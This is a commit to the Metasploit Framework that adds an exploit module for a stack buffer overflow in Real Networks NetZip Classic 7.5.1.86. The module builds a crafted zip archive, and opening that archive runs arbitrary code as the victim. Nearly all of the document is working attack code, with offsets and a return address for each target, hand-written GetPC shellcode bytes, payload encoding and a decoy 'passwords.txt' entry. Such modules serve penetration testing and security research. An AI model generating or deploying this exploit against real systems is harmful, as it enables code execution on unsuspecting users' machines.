Fixes #5570, commits TecR0c's exploit module, after running through msftidy.rb. Thanks!

git-svn-id: file:///home/svn/framework3/trunk@13952 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/fileformat/real_networks_netzip_bof.rb

@@ -0,0 +1,117 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+require 'rex/zip'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+
+	include Msf::Exploit::FILEFORMAT
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability',
+			'Description'    => %q{
+					This module exploits a stack-based buffer overflow vulnerability in
+				version 7.5.1 86 of Real Networks Netzip Classic.
+				In order for the command to be executed, an attacker must convince someone to
+				load a specially crafted zip file with NetZip Classic.
+				By doing so, an attacker can execute arbitrary code as the victim user.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'C4SS!0 G0M3S', # Vulnerability discovery and original exploit
+					'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
+				],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'BID', '46059' ],
+					[ 'URL', 'http://proforma.real.com' ],
+					[ 'URL', 'http://www.exploit-db.com/exploits/16083/' ],
+				],
+			'Platform'          => [ 'win' ],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'thread',
+				},
+			'Payload' =>
+				{
+					'Space'         => 1000,
+					'BadChars'      => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
+					'DisableNops'   => true,
+					'EncoderOptions' =>
+						{
+							'BufferRegister' => 'ESI'
+						}
+				},
+			'Targets'        =>
+				[
+					[
+						'Windows XP SP3',
+						{
+							'Offset' => 247,        # To EIP
+							'Ret'    => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
+							'Max'    => 2000,       # Max buffer size
+						}
+					],
+
+					[
+						'Windows 7/Windows Vista',
+						{
+							'Offset' => 248,        # To EIP
+							'Ret'    => 0x10061cf9, # PUSH ESP # RETN 08 - NPSYSTEM.dll 7.5.1.86
+							'Max'    => 2000,       # Max buffer size
+						}
+					],
+				],
+			'DisclosureDate' => 'Jan 30 2011',
+			'DefaultTarget'  => 0))
+
+			register_options(
+			[
+				OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']),
+				OptString.new('CONTENTNAME', [ true, 'Name of the fake zipped file', 'passwords.txt']),
+			], self.class)
+
+	end
+
+	def exploit
+
+		buffer = "#{datastore['CONTENTNAME']}"
+		buffer << ' ' * (target['Offset']-buffer.length)
+		buffer << [target.ret].pack('V')
+		buffer << make_nops(8)
+
+		# GetPC - Non ascii characters get converted
+		buffer << "\x89\x05"   #jmp short (5 bytes) to 'jmp back' at end
+		buffer << "\x5e"       #pop esi
+		buffer << "\x41"       #nop (inc ecx)
+		buffer << "\x98\x99"   #call esi
+		buffer << "\x41"       #nop (inc ecx)
+		buffer << "\x8a\x94\x98\x98\x98"  #jmp back to pop esi
+		buffer << payload.encoded
+		buffer << rand_text_alpha(target['Max']-buffer.length)
+
+		zip = Rex::Zip::Archive.new
+		xtra = [0xdac0ffee].pack('V')
+		comment = [0xbadc0ded].pack('V')
+		zip.add_file(buffer, xtra, comment)
+
+		# Create the file
+		print_status("Creating '#{datastore['FILENAME']}' file...")
+
+		file_create(zip.pack)
+	end
+
+end